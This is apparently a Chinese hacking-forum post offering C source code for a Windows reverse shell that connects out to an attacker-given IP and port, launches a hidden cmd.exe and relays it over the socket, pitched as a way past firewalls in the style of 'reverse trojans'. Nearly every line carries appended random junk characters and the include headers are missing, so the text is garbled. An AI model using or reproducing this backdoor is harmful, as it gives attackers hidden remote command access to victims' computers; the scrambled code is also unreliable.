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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &u62@ug#}  
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/* ============================== $EjM )  
Rebound port in Windows NT @J~n$^ke  
By wind,2006/7 HH>"J /;c,  
===============================*/  D(}w$hi8  
#include 3PB#m.N<  
#include f\sxx!kt  
+{V"a<D$m  
#pragma comment(lib,"wsock32.lib") Nf0'>`/  
W+ tI(JZ  
void OutputShell(); / ,3,l^kZ  
SOCKET sClient; x!klnpGp  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |oq27*ix~m  
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void main(int argc,char **argv) s#,~Zb=  
{ F+A"-k_\T#  
WSADATA stWsaData; t+'|&b][Qi  
int nRet; Ue:'55  
SOCKADDR_IN stSaiClient,stSaiServer; %G6ml,  
Z:3N*YkL  
if(argc != 3) q\Cg2[nn2  
{ 0be1aY;m&  
printf("Useage:\n\rRebound DestIP DestPort\n"); ZMmaM "9  
return; 82% ~WQnS  
} }m Rus<Ax  
z;:c_y!f  
WSAStartup(MAKEWORD(2,2),&stWsaData); 6X(Yv2X&4%  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /.<tC(  
1:<=zqh0  
stSaiClient.sin_family = AF_INET; y2k '^zE  
stSaiClient.sin_port = htons(0); :'aT 4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Jx ;" @  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )Lht}I ]:  
{ {6%vmMbJ  
printf("Bind Socket Failed!\n"); "0o1M\6Z  
return; -<kl d+  
} Js7(TFQE  
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stSaiServer.sin_family = AF_INET; &V7@ TZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); h&eu}aF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g z!q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8Xpf|? .  
{ s(56aE  
printf("Connect Error!"); jf0D  
return; v3|-eWet^  
} yidUtSv=,  
OutputShell(); xW@y=l Cu  
} 9{{QdN8  
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void OutputShell() {~.~ b+v  
{ vK2sj1Hzr  
char szBuff[1024]; ^lVZW8  
SECURITY_ATTRIBUTES stSecurityAttributes; Wbo{v r[2+  
OSVERSIONINFO stOsversionInfo; IC&xL9  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4Q2=\-KFj  
STARTUPINFO stStartupInfo; pG?AwB~@n  
char *szShell; 6<sd6SM  
PROCESS_INFORMATION stProcessInformation; n_;qB7,,  
unsigned long lBytesRead; )N[9r{3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A4RA5N/}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r|$@Wsb?#  
stSecurityAttributes.lpSecurityDescriptor = 0; :;[pl|}tM  
stSecurityAttributes.bInheritHandle = TRUE; O@;;GJ  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O~t]:p9_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~B!O X  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); , 'WhF-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M B]8iy8  
stStartupInfo.wShowWindow = SW_HIDE; >B)&mC$$S  
stStartupInfo.hStdInput = hReadPipe; 3WdYDv]N}L  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ewjzm,2  
P{ YUW~  
GetVersionEx(&stOsversionInfo); S/ YT V  
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switch(stOsversionInfo.dwPlatformId) U5X\RXy~  
{ z~[:@mGl  
case 1: RTN?[`  
szShell = "command.com"; gO>XNXN{  
break; W\mj?R   
default: RbPD3& .  
szShell = "cmd.exe"; 7.7aHt0  
break; ?f@g1jJP  
} gDHgXD D_b  
Y ,1ZvUOB  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V_b"^911r  
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send(sClient,szMsg,77,0); ~s.~X5  
while(1) 0ws1S(pq  
{ XY1D<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l&rS\TCkp  
if(lBytesRead) ODvlix  
{ k'O^HMAn!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0,1x- yD  
send(sClient,szBuff,lBytesRead,0); "Zk# bQ2j  
} ,4kly_$BH  
else yVF1*#"  
{ xBba&A]=  
lBytesRead=recv(sClient,szBuff,1024,0); _~q!<-Z  
if(lBytesRead<=0) break; Hzm<KQ g  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zKRt\;PW  
} Fjnp0:p9X  
} QaAA@l  
E}^np[u7  
return; hw2'.}B"(  
}
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